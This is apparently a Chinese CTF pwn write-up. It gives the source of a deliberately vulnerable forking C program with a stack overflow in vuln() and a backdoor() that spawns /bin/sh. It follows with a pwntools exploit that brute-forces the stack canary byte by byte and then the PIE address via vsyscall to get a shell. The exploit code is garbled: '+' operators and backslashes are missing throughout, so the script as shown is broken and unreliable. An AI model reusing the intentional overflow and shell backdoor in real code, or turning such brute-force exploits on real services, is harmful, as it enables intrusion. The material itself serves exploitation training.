解题思路
- Checksec后可以看到是64位保护全开,IDA打开分析反汇编代码
- 在
vuln
函数中的read读取数据时存在栈溢出,之后还可以看到程序中存在一个backdoor
的后门函数,偏移地址位0xA33
- 先用gdb打开,分别在
fork
函数和read
函数上下断点
- 当程序断到fork时,输入
set follow-fork-mode child
,使当前gdb跟进程序子线程
- 之后直接c 输入完数据后,可以使用x /30gx rsi 和 x /1gx rbp|x /1gx
- 写脚本爆破canary后,在利用vsyscall爆破backdoor的地址
- 利用vsyscall爆破时需要注意,与无fork函数创建子进程的程序写法不同,无需重新加载整个源程序。
源码编译
代码语言:javascript
复制//gcc hello.c -z now -fpie -pie -g -m64 -fstack-protector -o hello_Pwner
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void backdoor(void) {
system("/bin/sh");
}
void vuln() {
char buf[100];
read(0,buf,200);
printf("%s",buf);
}
int main(void) {
init();
pid_t a;
while(1){
a = fork();
if(a<0){
break;
}else if(a){
wait(0);
}else{
puts("Hello,Pwner!");
vuln();
}
}
return 0;
}
EXP
代码语言:javascript
复制#coding=utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./hello_Pwner")
elf = ELF("./hello_Pwner")
### blasting_Canary
def canary_blasting(offset,input_prompt):
#偏移量,输入提示
sh.recvuntil(input_prompt 'n')
canary = 'x00'
for k in range(7):
#因canary除去已知的x00后还剩7字节,所以循环7次
for i in range(256):
# 每字节的值从256中间取
success("Canary ->" canary)
log.info("------------- No." str(k) ":" chr(i) " -------------")
#gdb.attach(sh)
sh.send('A'*offset canary chr(i))
recv = sh.recvuntil(input_prompt "n")
if "stack smashing detected" in recv:
#
continue
else:
#当第K字节的值i传入栈后接受不到错误反馈则代表正确
canary = chr(i)
#将其加入已知的canary中,继续爆破下一位
success("Canary =>" canary)
break
return canary
canary = canary_blasting(0x70-0x8,"Hello,Pwner!")
#RBP-RSI-Canary = 0x70-0x8
### blasting_PIE
last_2 = ["x0a","x1a","x2a","x3a","x4a","x5a","x6a","x7a","x8a","x9a","xaa","xba","xca","xda","xea","xfa"]
vsyscall = 0xffffffffff600000
#不需要查看要覆盖地址距离RBP的偏移距离,直接爆破得出
for k in range(200):
log.info("Blow up the end of PIE No." str(k))
for i in last_2:
payload = "A"*(0x70-0x8) canary
payload = p64(vsyscall)*k "x33" i
try:
#gdb.attach(sh)
sh.send(payload)
recv = sh.recvline()
if "Hello" in recv :
continue
else:
sh.interactive()
break
except KeyboardInterrupt:
#当程序卡住不动时,CTRL C八成就拿到shell了
sh.interactive()
except:
continue